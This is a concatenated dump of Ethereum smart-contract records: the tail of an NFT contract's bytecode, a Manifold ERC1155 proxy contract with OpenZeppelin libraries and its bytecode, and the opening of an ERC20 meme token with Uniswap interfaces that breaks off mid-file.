f65601f83613a10565b91507f45746865722076616c75652073656e74206973206e6f7420636f7272656374006000830152602082019050919050565b6000612fa5602283613a10565b91507f53616c65206d7573742062652061637469766520746f206d696e7420546f6b6560008301527f6e730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061300b602c83613a10565b91507f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b6000613071603883613a10565b91507f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008301527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006020830152604082019050919050565b60006130d7603983613a10565b91507f4d6f7265207468616e20353020746f6b656e73206861766520616c726561647960008301527f206265656e207265736572766564206f72206d696e7465642e000000000000006020830152604082019050919050565b600061313d602a83613a10565b91507f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008301527f726f2061646472657373000000000000000000000000000000000000000000006020830152604082019050919050565b60006131a3602983613a10565b91507f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008301527f656e7420746f6b656e00000000000000000000000000000000000000000000006020830152604082019050919050565b6000613209602a83613a10565b91507f507572636861736520776f756c6420657863656564206d617820737570706c7960008301527f206f6620746f6b656e73000000000000000000000000000000000000000000006020830152604082019050919050565b600061326f602083613a10565b91507f4552433732313a206d696e7420746f20746865207a65726f20616464726573736000830152602082019050919050565b60006132af602c83613a10565b91507f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b6000613315602083613a10565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000613355602983613a10565b91507f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008301527f73206e6f74206f776e00000000000000000000000000000000000000000000006020830152604082019050919050565b60006133bb602f83613a10565b91507f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008301527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006020830152604082019050919050565b6000613421602183613a10565b91507f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008301527f72000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613487601b83613a10565b91507f4578636565646564206d617820746f6b656e20707572636861736500000000006000830152602082019050919050565b60006134c7603183613a10565b91507f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008301527f776e6572206e6f7220617070726f7665640000000000000000000000000000006020830152604082019050919050565b600061352d602c83613a10565b91507f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008301527f7574206f6620626f756e647300000000000000000000000000000000000000006020830152604082019050919050565b61358f81613bab565b82525050565b60006135a18285612d0f565b91506135ad8284612d0f565b91508190509392505050565b60006020820190506135ce6000830184612c7f565b92915050565b60006080820190506135e96000830187612c7f565b6135f66020830186612c7f565b6136036040830185613586565b81810360608301526136158184612c9d565b905095945050505050565b60006020820190506136356000830184612c8e565b92915050565b600060208201905081810360008301526136558184612cd6565b905092915050565b6000602082019050818103600083015261367681612d40565b9050919050565b6000602082019050818103600083015261369681612da6565b9050919050565b600060208201905081810360008301526136b681612e0c565b9050919050565b600060208201905081810360008301526136d681612e72565b9050919050565b600060208201905081810360008301526136f681612eb2565b9050919050565b6000602082019050818103600083015261371681612f18565b9050919050565b6000602082019050818103600083015261373681612f58565b9050919050565b6000602082019050818103600083015261375681612f98565b9050919050565b6000602082019050818103600083015261377681612ffe565b9050919050565b6000602082019050818103600083015261379681613064565b9050919050565b600060208201905081810360008301526137b6816130ca565b9050919050565b600060208201905081810360008301526137d681613130565b9050919050565b600060208201905081810360008301526137f681613196565b9050919050565b60006020820190508181036000830152613816816131fc565b9050919050565b6000602082019050818103600083015261383681613262565b9050919050565b60006020820190508181036000830152613856816132a2565b9050919050565b6000602082019050818103600083015261387681613308565b9050919050565b6000602082019050818103600083015261389681613348565b9050919050565b600060208201905081810360008301526138b6816133ae565b9050919050565b600060208201905081810360008301526138d681613414565b9050919050565b600060208201905081810360008301526138f68161347a565b9050919050565b60006020820190508181036000830152613916816134ba565b9050919050565b6000602082019050818103600083015261393681613520565b9050919050565b60006020820190506139526000830184613586565b92915050565b6000604051905081810181811067ffffffffffffffff8211171561397f5761397e613d30565b5b8060405250919050565b600067ffffffffffffffff8211156139a4576139a3613d30565b5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff8211156139d4576139d3613d30565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000613a3782613bab565b9150613a4283613bab565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a7757613a76613ca3565b5b828201905092915050565b6000613a8d82613bab565b9150613a9883613bab565b925082613aa857613aa7613cd2565b5b828204905092915050565b6000613abe82613bab565b9150613ac983613bab565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613b0257613b01613ca3565b5b828202905092915050565b6000613b1882613bab565b9150613b2383613bab565b925082821015613b3657613b35613ca3565b5b828203905092915050565b6000613b4c82613b8b565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613be2578082015181840152602081019050613bc7565b83811115613bf1576000848401525b50505050565b60006002820490506001821680613c0f57607f821691505b60208210811415613c2357613c22613d01565b5b50919050565b6000613c3482613bab565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613c6757613c66613ca3565b5b600182019050919050565b6000613c7d82613bab565b9150613c8883613bab565b925082613c9857613c97613cd2565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b613d7981613b41565b8114613d8457600080fd5b50565b613d9081613b53565b8114613d9b57600080fd5b50565b613da781613b5f565b8114613db257600080fd5b50565b613dbe81613bab565b8114613dc957600080fd5b5056fea2646970667358221220d86b15aae68f940ff989d919f92dd57ad8613e12e1f6bff52d3e09fc2a4a545064736f6c63430008000033
[ 5 ]
0xf2258bb984f33df4298130d2799b2d4ecb4ce64e
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: 75DegreeStudios /// @author: manifold.xyz import "./ERC1155Creator.sol"; /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // // // // // _______ _____ ___ ___ _ _ // // (_____ )( ___)( _`\ ( _`\ ( )_ ( ) _ // // /'/'| (__ | | ) | __ __ _ __ __ __ | (_(_)| ,_) _ _ _| |(_) _ ___ // // /'/' |___ `\| | | ) /'__`\ /'_ `\( '__)/'__`\ /'__`\`\__ \ | | ( ) ( ) /'_` || | /'_`\ /',__) // // /'/' ( )_) || |_) |( ___/( (_) || | ( ___/( ___/( )_) || |_ | (_) |( (_| || |( (_) )\__, \ // // (_/ `\___/'(____/'`\____)`\__ |(_) `\____)`\____)`\____)`\__)`\___/'`\__,_)(_)`\___/'(____/ // // ( )_) | // // \___/' // // // // // // // /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract SeventyFiveDegreeStudios is ERC1155Creator { constructor() ERC1155Creator() {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC1155Creator is Proxy { constructor() { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4; Address.functionDelegateCall( 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4, abi.encodeWithSignature("initialize()") ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220d31b3b2303e4f2722a76a8592aeae27ed66afbb948dd7e8b3f4b1dc23e6c850864736f6c63430008070033
[ 5 ]
0xf225ad14825fd386312cbbe8cd27d9dace6ca057
/* TG https://t.me/SaylorMoonERC */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () public { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function 